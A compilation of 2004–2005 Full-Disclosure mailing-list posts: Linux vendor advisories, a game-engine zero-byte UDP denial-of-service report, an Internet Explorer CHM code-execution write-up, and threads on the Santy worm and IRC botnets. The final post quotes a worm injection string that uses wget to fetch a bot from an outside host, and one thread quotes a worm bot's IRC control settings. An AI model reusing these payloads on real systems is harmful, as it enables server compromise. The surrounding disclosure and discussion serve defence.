>Delivered using the Free Personal Edition of Mailtraq
>(www.mailtraq.com)
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkHdRUAACgkQQOst28rex95QLACffkWvXLliSMaBQVG0k+YlmpX9SEQA
niTzZQHhP4aALP3wxYpXJ8YagPP3
=KRWa
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Socket unreacheable in Amp II engine

From: Luigi Auriemma (aluigiautistici.org)
Date: Thu Jan 06 2005 - 12:45:24 CST


#######################################################################

                             Luigi Auriemma

Application: Amp II 3D engine
              http://www.4drulers.com/amp.html
Versions: any version since there is no patch available
Games: Gore: Ultimate Soldier <= 1.50
              ... possibly others ...
Platforms: Windows
Bug: socket unreacheable
Exploitation: remote, versus server
Date: 06 Jan 2005
Author: Luigi Auriemma
              e-mail: aluigiautistici.org
              web: http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

The Amp II engine is a game engine developed by 4d Rules
(http://www.4drulers.com) and Slam Software
(http://www.slamsoftware.com).
The only game released using this engine seems to be Gore
(http://www.4drulers.com/gore/) dated June 2002.

#######################################################################

======
2) Bug
======

The code used by the engine to handle UDP packets is similar to the
following:

  if(select(sock, &read_set, NULL, NULL, &timeout_zero)
    < 0) socket_error();
  ...
  if(ioctlsocket(sock, FIONREAD, &packet_length)
    < 0) socket_error();
  if(packet_length) {
    // read socket data
  }

The problem is just in the if(packet_length) check (meaning "if
packet_length is different than zero") because FIONREAD is used to
retrieve the size of the first packet in the socket's queue so if an
attacker sends an UDP packet of zero bytes to the server, packet_length
will continue to be equal to zero and the if(packet_length) check will
be messed entering in an infinite loop that will handle ever the same
empty UDP packet but without reading its content and freeing the
socket's queue.

In short, an UDP packet of zero bytes is able to silently interrupt the
match on the server.

#######################################################################

===========
3) The Code
===========

http://aluigi.altervista.org/poc/amp2zero.zip

#######################################################################

======
4) Fix
======

The Amp II engine is no longer supported and probably will be released
a patch for Gore in future.

#######################################################################

---
Luigi Auriemma
http://aluigi.altervista.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [USN-54-1] TIFF library tool vulnerability

From: Martin Pitt (martin.pittcanonical.com)
Date: Thu Jan 06 2005 - 11:37:56 CST


===========================================================
Ubuntu Security Notice USN-54-1 January 06, 2005
tiff vulnerability
CAN-2004-1183
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libtiff-tools

The problem can be corrected by upgrading the affected package to
version 3.6.1-1.1ubuntu1.2. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Dmitry V. Levin discovered a buffer overflow in the "tiffdump"
utility. If an attacker tricked a user into processing a malicious
TIFF image with tiffdump, they could cause a buffer overflow which at
least causes the program to crash. However, it is not entirely clear
whether this can be exploited to execute arbitrary code with the
privileges of the user opening the image.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.diff.gz
      Size/MD5: 22999 d884251e847a11301f8336b8d9f50e0f
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.dsc
      Size/MD5: 646 7e0d3bb9141233f29e2b5999523882bd
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1.orig.tar.gz
      Size/MD5: 848760 bd252167a20ac7910ab3bd2b3ee9e955

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5: 172900 15c92000db5d6efe06dc5be73a3471e2
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5: 458416 8f3a4d1bcba9de0b9004f8a9c1103632
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_amd64.deb
      Size/MD5: 111440 df967606c94b419508c00b9e3194485d

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5: 157260 d416a9e23840613a706f8196879614b3
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5: 439598 87e32a85649ca58ebccf55b751297bb5
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_i386.deb
      Size/MD5: 102336 f2019f1620310fa2a5d5c59ccabab0fe

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5: 187884 1c1173ba8723d03239399175a7e41566
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5: 462478 0fe172d4ecc90f985df90f9a551faa52
    http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_powerpc.deb
      Size/MD5: 112518 80f528b39a9d230e20591337df3d556e

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3Xd0DecnbV4Fd/IRApjgAKDYF9noGvlq2SlMgaAIz1RhNyMhCwCgm0Dt
BylXiZSrsJC0h0PHv1rAfMw=
=zWDv
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] Pattern matching search tool

From: Paul Schmehl (paulsutdallas.edu)
Date: Thu Jan 06 2005 - 10:38:18 CST


--On Thursday, January 06, 2005 08:07:13 AM +0530 "ALD, Aditya, Aditya
Lalit Deshmukh" <aditya.deshmukhonline.gateway.expertworks.net> wrote:
>
> Dear paul I think you answered your own question over here - its perl!

Yeah, I'm beginning to think that's what I'm going to have to do.

> However there is another tool ntop that I use quite a lot.
>
I apologize for the vague nature of my request. I'm not looking for tools
that can analyze network traffic. I already have plenty of those. I'm
looking for tools that can search my network for *computers* that have
*passive* (or active) content that I'd rather they didn't have.

The example I gave was phpBB. If a worm named Santy comes out that attacks
phpBB *specifically*, I'd like to know how many machines on my network have
phpBB on them *regardless* of whether or not they have any active traffic.

There's a number of ways to do this manually. You can Google for it, then
check each box to see if it still has the installation (things change, you
know.) You could run nessus and correlate the data. You could run nmap
looking for the open ports (like 80) and then do some banner grabbing.

But all these methods involve labor *and* require that you react to an
event. I'm looking for something *proactive* that can "crawl" my network
and report (by email or to mysql, etc.), that can be automated but allows
me to do "special" searches if I want to.

Sort of a combination of ngrep, ntop, nessus, p0f, webcrawler, open port
searcher, grep, find, locate, etc., etc. A "Swiss army knife" discovery
tool, if you will.

And the more I think about it, the more I feel a perl script coming on.

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Animated Cursor Blue Screen?

str0kemilw0rm.com
Date: Thu Jan 06 2005 - 09:07:14 CST


Nick,

Here is the original source I posted:
http://www.milw0rm.com/id.php?id=721

The original author is Flashsky.

Crappy when people use milw0rm.com for other purposes then testing the
vuln on themselves.

Regards,
str0ke
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] new phpBB worm affects 2.0.11

From: ^^MAg^^ (rafal.kwasnygmail.com)
Date: Sat Dec 25 2004 - 09:27:55 CST


On Fri, 24 Dec 2004 17:06:30 -0500, Herman Sheremetyev
<hermanswebpage.com> wrote:
> My patched phpBB 2.0.11 running on FreeBSD 4.10 was exploited by a new
> variation of the worm this morning. I'm attaching the 2 perl scripts it
> installs, one is an irc bot the other the worm itself.

Are you sure it's because bug in 2.0.11 ? I see there only old hilight bug

> -Herman

heh, this is soo lame

> my adms=("ssh"); # Nick do administrador #
16:22:31 [ Whois ssh (ssh233-140-117.xdsl-dinamico.ctbcnetsuper.com.br) ]
16:22:31 : Ircname : Se fu ???? e dai ??
16:22:31 : Domain : "Brazil"
16:22:31 : Channels : #staff #ssh
16:22:31 : Server : hub3.ssh.net [SSHWorms R0xNet Server]
16:22:31 --- End of Whois ---

the person with this nick can controll all of this

> my canais=("#ssh echo"); # Caso haja senha ("#canal :senha") #
> $servidor='ssh.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #

/server ssh.gigachat.net
/join #ssh echo
everyone's invited ;)
( also #fuck_this_worm )

greets goes to prophecy who found it at the same time :)
--
Greetings
^^MAg^^ mailto:/jid: magjabberpl.org
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] OpenSSH is a good choice?

From: Kevin (kkadowgmail.com)
Date: Sat Dec 25 2004 - 13:56:22 CST


On Fri, 24 Dec 2004 16:00:45 -0600 (CST), Ron DuFresne
<dufresnewinternet.com> wrote:
> It might depend upon how the algorithim is implimented, say, search for
> easy to find vuln systems with stadard port open, till perhaps 10 or 100
> or some given number are found and infected, then go back through the
> non-vuln hosts and search those specifically for non-standard ports.
> Insures spread of the worm and quick infection rate, and then allows it to
> retarget 'hidden' systems. Seems to me this would merely be a change to
> infection code similiar to those wrms that had in them coded a
> date and time to attack a site.

One consideration -- sysadmins who are bright enough to configure
services onto non-standard ports are likely also bright enough to
patch their systems, install IDS and HIPS, and such hosts are in
general less likely to be exploitable than default configurations.

I'm not sure that a routine to find hidden, vulnerable services would
add much value to an automated "flash worm". This approach makes
sense for a human attacker trying to penetrate a specific site or
class of target, but for a "flash worm", wouldn't it make more sense
to put the work towards finding more easy targets?

What does it benefit a worm or the worm's author to compromise 99% of
vulnerable systems rather than a mere 85% of the vulnerable
population?

Additionally, port scanning raises the profile of the source, both on
the network and at the target. Whether just blasting out the exploit
code or doing banner scanning, the worm will need to do a full TCP
session to each potential target IP:Port. This is not only slow, but
also very "noisy", causing unusual events to be logged by listening
daemons on the target system.

The only time I've ever been reprimanded for running (authorized) nmap
scans against non-hardened solaris systems was when I used the '-sV'
option and freaked out a (non security conscious) sysadmin due to the
large volume of timeout and protocol errors logged by rpcbind and
other default TCP listeners.

> Seriously, why do folks think sshd should be open for the world to pound
> upon, no matter which port it's assinged to run on?

When you cannot know the source IP in advance, *something* must serve
as the gatekeeper for access to network services.

> It provides an encrypted channel into the network. And channel in,
> especially encrypted channels, should be guarded and allow only those
> that require access to get access.

Many systems have a business need to allow customers to connect in
from arbitrary source addresses -- vendor support for maintenance,
customers uploading content, etc. There is an unavoidable
requirement to have *some* channel into the system, and it's tough
enough for web hosting providers to push customers to migrate off of
cleartext password protocols like telnet and FTP, now we need to
convince the customer to use public keys and strong authentication
tokens?

IPSEC might make sense for employee inbound sessions, But for
"customers" of web hosting and the like, ssh itself is already the
primary gatekeeper -- there isn't any other (easy) check to implement
before letting an unknown source talk to the ssh listener.

Kevin Kadow
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Re: SQL injection worm ?

From: Willem Koenings (infsecgmail.com)
Date: Thu Jan 06 2005 - 05:16:26 CST


On Wed, 5 Jan 2005 18:27:25 -0500 (EST), bugtraqcgisecurity.net
<bugtraqcgisecurity.net> wrote:
> Here is some additional information.

> ³ ircname : [UNC]69402
> | channels : #!processor
> ³ server : shellcodewarez.info (ScW Network)
> : idle : 4 hours 57 mins 9 secs (signon: Tue Jan 4 23:40:01 2005)
> ÚÄÄÄÄÄ---Ä--ÄÄ-ÄÄÄÄÄÄ---Ä--ÄÄ-ÄÄÄÄÄÄÄÄÄ--- -- -
> | [UNC]73047 (vjfudBFE013F.3F070E03.2BA09B8.IP) (unknown)
> ³ ircname : [UNC]73047
> | channels : +#!processor
> ³ server : shellcodewarez.info (ScW Network)
> : idle : 4 hours 57 mins 26 secs (signon: Wed Jan 5 07:48:45 2005)
>
> As you can see they are masking the ip addresses.

That depends. When new victim arrives on the channel, you can see his IP:

[13:06] * [UNC]08801 (ngnvje210.93.182.253) has joined #!processor

but on inquery it's really masked, yes:

[13:07] [UNC]08801 is ngnvje9665494.1E6027D8.277B9277.IP * [UNC]08801
[13:07] [UNC]08801 is on #!processor
[13:07] [UNC]08801 using shellcodewarez.info ScW Network
[13:07] [UNC]08801 has been idle 49 secs, signed on thursday jan 06 01:18 pm

all the best,

W.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: Again: zone transfers, a spammer's dream?

From: Bruno Wolff III (brunowolff.to)
Date: Thu Jan 06 2005 - 14:37:15 CST


On Wed, Dec 29, 2004 at 17:32:33 +0100,
  Ralf Glauberman <ralfglaubermangmail.com> wrote:
>
> so, here comes the old question: What do you think about this?

The main problem with allowing zone transfers by anyone is that it makes
denial of service attacks against the dns server easier.

I don't see other people having access to the data as a bad thing.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Remote code execution with parameters without user interaction, even with XP SP2

From: ShredderSub7 SecExpert (shreddersub7hotmail.com)
Date: Mon Dec 27 2004 - 18:36:07 CST


PoC (called CMDExe): http://www.freewebs.com/shreddersub7/htm.htm
Discussion: http://www.freewebs.com/shreddersub7/expl-discuss.htm

------------------Which systems are vulnerable?--------
Any system running any Microsoft Windows XP edition with Internet Explorer 6
or higher, even with SP2 applied.
Any system running any Microsoft Windows Server 2003 edition with Internet
Explorer 6 or higher.

------------------How does this exploit work?-----------
The problem with Internet Explorer is that it doesn't set any restrictions
on web pages that request opening a Windows Help file, compiled with HTML
Help.

Without a restriction, we can (in Internet Explorer) easily command to open
any local web page stored on a victim's computer, including web pages that
are

founded in Windows Help files (with extension .CHM). In this PoC (Proof of
Concept, see below for viewing the PoC), the web page

"alt_url_enterprise_specific.htm" (that is founded in the Windows Help file
"ntshared.chm") will be opened in the HTML Help program "hh.exe".
Since we now opened a web page stored in a Windows Help file (.CHM), it is
possible (thanks to the exploit) to execute a HTML Help control (in this
case, an

ActiveX control) that only fully works in Help files. So in this PoC, we
choosed to launch an ActiveX control for HTML Help. Then, this ActiveX
control will execute

any program we want, in this example that's "cmd.exe".

Thanks to the exploit, it is even possible to add parameters to the executed
program (here: cmd.exe), so that you can easily start malware out of
"cmd.exe". In

this PoC, we added the parameter "/c pause" to the execution code "cmd.exe",
and the result is a DOS Prompt with the text "Press any key to continue. .
.".

To make it complete, the 2 needed programs (Internet Explorer and HTML Help)
will be automatically shutted down after the execution is finished. In this
PoC,

HTML Help and Internet Explorer will be automatically closed after the
execution, without user interaction.

PoC (called CMDExe): http://www.freewebs.com/shreddersub7/htm.htm
Reproduce PoC and discussion:
http://www.freewebs.com/shreddersub7/expl-discuss.htm

--------------How to avoid this exploit...-------------
Since there are no patches from Microsoft available yet, here are some
(temporary?) solutions: Disable Internet Explorer
or disable Active Scripting (HOW?).
OR Use another browser,for example Mozilla FireFox.

More info (like credits, things that are included etc.) about this exploit
can be found at http://www.freewebs.com/shreddersub7/expl-discuss.htm

Contact: ShredderSub7_at_hotmail.com

_________________________________________________________________
Cadeautips, e-cards, wedstrijden.. http://www.msn.be/kerstspecial

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] MDKSA-2005:003 - Updated vim packages fix modeline vulnerabilities

From: Mandrake Linux Security Team (securitylinux-mandrake.com)
Date: Thu Jan 06 2005 - 14:53:55 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name: vim
 Advisory ID: MDKSA-2005:003
 Date: January 6th, 2005

 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1
 ______________________________________________________________________

 Problem Description:

 Several "modeline"-related vulnerabilities were discovered in Vim by
 Ciaran McCreesh. The updated packages have been patched with Bram
 Moolenaar's vim 6.3.045 patch which fixes the reported vulnerabilities
 and adds more conservative "modeline" rights.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1138
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 dc99ec20a0d5e1ffe5705b338587dc4e 10.0/RPMS/vim-X11-6.2-14.1.100mdk.i586.rpm
 321271cf96a487d030c1f63916057df6 10.0/RPMS/vim-common-6.2-14.1.100mdk.i586.rpm
 cab974c180ba32f189ed2b8f9d87c4d7 10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.i586.rpm
 354150734d36ae267933932fda998694 10.0/RPMS/vim-minimal-6.2-14.1.100mdk.i586.rpm
 da7ed2d30da9357180fc2e95a8332ac1 10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 00c06119cda7bccb1e72313a1b2d1dce amd64/10.0/RPMS/vim-X11-6.2-14.1.100mdk.amd64.rpm
 00e1ffca2a8e584885632fd628d2f963 amd64/10.0/RPMS/vim-common-6.2-14.1.100mdk.amd64.rpm
 82e1be218800efc70e795a604514c375 amd64/10.0/RPMS/vim-enhanced-6.2-14.1.100mdk.amd64.rpm
 2b2b8c84f7790797ab18e77f3c1e7f2f amd64/10.0/RPMS/vim-minimal-6.2-14.1.100mdk.amd64.rpm
 da7ed2d30da9357180fc2e95a8332ac1 amd64/10.0/SRPMS/vim-6.2-14.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 8b913b02ea90489aaa2bd29f795399d8 10.1/RPMS/vim-X11-6.3-5.1.101mdk.i586.rpm
 5353a6cfb15280d8f1cc053743341ad1 10.1/RPMS/vim-common-6.3-5.1.101mdk.i586.rpm
 f765913a4dfdd57ef7faa420a5a61830 10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.i586.rpm
 684886af2c515a9e9a1c1291ec8094fd 10.1/RPMS/vim-minimal-6.3-5.1.101mdk.i586.rpm
 89b134fbe9240efc208824930c9a605b 10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 f035a1b1ac873ee806527eb338c135ef x86_64/10.1/RPMS/vim-X11-6.3-5.1.101mdk.x86_64.rpm
 2b750028b598e8673122696bdf9f575b x86_64/10.1/RPMS/vim-common-6.3-5.1.101mdk.x86_64.rpm
 03f49e6ea46596fe972b140d4edc55e3 x86_64/10.1/RPMS/vim-enhanced-6.3-5.1.101mdk.x86_64.rpm
 64305d45fcf292ac1a852f189a50306b x86_64/10.1/RPMS/vim-minimal-6.3-5.1.101mdk.x86_64.rpm
 89b134fbe9240efc208824930c9a605b x86_64/10.1/SRPMS/vim-6.3-5.1.101mdk.src.rpm

 Corporate Server 2.1:
 756cc2e58bff900c4fcb0460a6ac767f corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.i586.rpm
 65697ca8ad7698cd6b141ebcefb14646 corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.i586.rpm
 ef40b036454a280650b3842be5eb4b5d corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.i586.rpm
 15706190a1a01413f7aa106238e592b1 corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.i586.rpm
 8558f98441e0e85964d2aa9b400ebfce corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 51c1ff3d71adfddc998c9731e9cbf033 x86_64/corporate/2.1/RPMS/vim-X11-6.1-34.2.C21mdk.x86_64.rpm
 72818890b41fab3a7fca922084139bee x86_64/corporate/2.1/RPMS/vim-common-6.1-34.2.C21mdk.x86_64.rpm
 990252b46c4d80a0f118d9f9d47480ee x86_64/corporate/2.1/RPMS/vim-enhanced-6.1-34.2.C21mdk.x86_64.rpm
 711e168b31f45852a0b4c50c94a17c46 x86_64/corporate/2.1/RPMS/vim-minimal-6.1-34.2.C21mdk.x86_64.rpm
 8558f98441e0e85964d2aa9b400ebfce x86_64/corporate/2.1/SRPMS/vim-6.1-34.2.C21mdk.src.rpm

 Mandrakelinux 9.2:
 d05af7e58ceb4437e8f850bbffa2d78b 9.2/RPMS/vim-X11-6.2-11.1.92mdk.i586.rpm
 877835edad015bd451e12314fc685d01 9.2/RPMS/vim-common-6.2-11.1.92mdk.i586.rpm
 cfbdd0030d0a06bdc5200c8f7f02741d 9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.i586.rpm
 02a99727758bb95e081ec55ceb80629f 9.2/RPMS/vim-minimal-6.2-11.1.92mdk.i586.rpm
 1ceb7a9081a1bb02ef4c8e9881d0e8db 9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 24182d75dce9da179234a45ad31d9bf7 amd64/9.2/RPMS/vim-X11-6.2-11.1.92mdk.amd64.rpm
 4b7a72d17f7964aed4d7cdf90837c8ca amd64/9.2/RPMS/vim-common-6.2-11.1.92mdk.amd64.rpm
 66e94e428441701c22515b30a9092eff amd64/9.2/RPMS/vim-enhanced-6.2-11.1.92mdk.amd64.rpm
 4f0bad1665fa9c844bd11f0dbdfb1c91 amd64/9.2/RPMS/vim-minimal-6.2-11.1.92mdk.amd64.rpm
 1ceb7a9081a1bb02ef4c8e9881d0e8db amd64/9.2/SRPMS/vim-6.2-11.1.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi. The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security. You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID Date User ID
 pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aVjmqjQ0CJFipgRAv8fAKCFOW3mkry8Hr/tgnCcqUMmQ8CmFwCg2fbU
FxpoV4DQ+aN1yHi/KZ4jkkE=
=QaxY
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-08 ] phpGroupWare: Various vulnerabilities

From: Luke Macken (lewkgentoo.org)
Date: Thu Jan 06 2005 - 15:12:11 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-08
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: phpGroupWare: Various vulnerabilities
      Date: January 06, 2005
      Bugs: #74487
        ID: 200501-08

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities have been discovered in phpGroupWare that
could lead to information disclosure or remote compromise.

Background
==========

phpGroupWare is a web-based suite of group applications including a
calendar, todo-list, addressbook, email, wiki, news headlines, and a
file manager.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 www-apps/phpgroupware < 0.9.16.004 >= 0.9.16.004

Description
===========

Several flaws were discovered in phpGroupWare making it vulnerable to
cross-site scripting attacks, SQL injection, and full path disclosure.

Impact
======

These vulnerabilities could allow an attacker to perform cross-site
scripting attacks, execute SQL queries, and disclose the full path of
the web directory.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All phpGroupWare users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-apps/phpgroupware-0.9.16.004"

References
==========

  [ 1 ] BugTraq Advisory
        http://www.securityfocus.com/archive/1/384492

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFB3amrRsm3eDkOu7kRAnP6AJ9llXc3DkHxOyaXTIx7B+G0ItqS0gCdFqyx
J3NxJqdirrqPUouDCIMFU0c=
=EFGG
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [ GLSA 200501-09 ] xzgv: Multiple overflows

From: Thierry Carrez (koongentoo.org)
Date: Thu Jan 06 2005 - 15:34:09 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: xzgv: Multiple overflows
      Date: January 06, 2005
      Bugs: #74069
        ID: 200501-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

xzgv contains multiple overflows that may lead to the execution of
arbitrary code.

Background
==========

xzgv is a picture viewer for X, with a thumbnail-based file selector.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 media-gfx/xzgv <= 0.8 >= 0.8-r1

Description
===========

Multiple overflows have been found in the image processing code of
xzgv, including an integer overflow in the PRF parsing code
(CAN-2004-0994).

Impact
======

An attacker could entice a user to open or browse a specially-crafted
image file, potentially resulting in the execution of arbitrary code
with the rights of the user running xzgv.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All xzgv users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-gfx/xzgv-0.8-r1"

References
==========

  [ 1 ] CAN-2004-0994
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0994
  [ 2 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=160&type=vulnerabilities&flashstatus=true

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
RE: [Full-Disclosure] And you're proud of this Mike Evanchick?

From: Esler, Joel - Contractor (joel.eslerrcert-s.army.mil)
Date: Wed Dec 29 2004 - 09:15:31 CST


Fight nice!

-----Original Message-----
From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of Todd
Towles
Sent: Wednesday, December 29, 2004 9:48 AM
To: Elle Chicka; full-disclosurelists.netsys.com
Subject: RE: [Full-Disclosure] And you're proud of this Mike Evanchick?

Sounds like you need AV and a bit of network security. If you are scared
of IRC trojans and detectable viruses..then your time would be better
spent putting those systems into place. Don't you think?

  _____

From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of Elle
Chicka
Sent: Monday, December 27, 2004 11:16 PM
To: full-disclosurelists.netsys.com
Subject: [Full-Disclosure] And you're proud of this Mike Evanchick?

You so proudly posted this:
------------------------
http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.ht
ml
<https://mail.microsoft.com/exchweb/bin/redir.asp?URL=http://securityres
ponse.symantec.com/avcenter/venc/data/trojan.phel.a.html>

mike

www.michaelevanchik.com
 
------------------------
Obviously you are just tickled to see that the kiddies were able to so
quickly turn your point/click sploit code into a virus to wreak havoc on
my network.

Thanks a lot for helping to make all of us a little less secure over the
holiday's.
 

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] New Santy-Worm attacks *all* PHP-skripts

From: Juergen Schmidt (juheisec.de)
Date: Sat Dec 25 2004 - 11:12:21 CST


Hello,

the new santy version not only attacks phpBB.

It uses the brasilian Google site to find all kinds of PHP skripts.
It parses their URLs and overwrites variables with strings like:

'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
www.visualcoders.net/spybot.txt;...

Often enough this leads to download and execution of code.
On success the worm connects to an IRC server, where already more than 700
zombies are waiting for commands.

